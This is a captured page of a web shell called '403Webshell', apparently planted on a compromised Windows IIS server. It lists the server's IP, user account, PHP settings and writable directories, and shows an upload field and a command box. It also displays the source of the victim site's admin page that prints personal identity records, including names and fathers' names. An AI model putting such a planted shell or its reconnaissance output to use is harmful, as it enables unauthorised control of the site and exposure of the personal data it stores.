403Webshell
Server IP : 104.21.93.206  /  Your IP : 172.71.255.6
Web Server : Microsoft-IIS/10.0
System : Windows NT WAVE 10.0 build 20348 (Windows Server 2016) AMD64
User : IWPD_458(indias) ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  D:/inetpub/vhosts/indiasmartbazaar.com/pimsharyana.in/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : D:/inetpub/vhosts/indiasmartbazaar.com/pimsharyana.in/admin/printIdentity.aspx.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.Data;
using System.Data.SqlClient;
using System.Configuration;
public partial class admin_printIdentity : System.Web.UI.Page
{
    SqlConnection con = new SqlConnection(ConfigurationManager.ConnectionStrings["con"].ConnectionString);
    protected void Page_Load(object sender, EventArgs e)
    {
        if(!IsPostBack)
        {
            loadPrint();
        }
    }

    private void loadPrint()
    {
        SqlCommand cmd = new SqlCommand("SP_Get_Print", con);
        cmd.CommandType = CommandType.StoredProcedure;
        cmd.Parameters.Add("@ID", SqlDbType.Int).Value = Request.QueryString["ID"].ToString();
        SqlDataAdapter Da = new SqlDataAdapter(cmd);
        DataTable dt = new DataTable();
        Da.Fill(dt);
        if(dt.Rows.Count>0)
        {
            qrCode.Src = dt.Rows[0]["qrCodePath"].ToString();
            lblNamePrint.Text = dt.Rows[0]["Name"].ToString();
            lblPrintClass.Text = dt.Rows[0]["class"].ToString();
            lblPersonAllowed.Text = dt.Rows[0]["personaAllowed"].ToString();
            Label4.Text = dt.Rows[0]["father"].ToString();
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit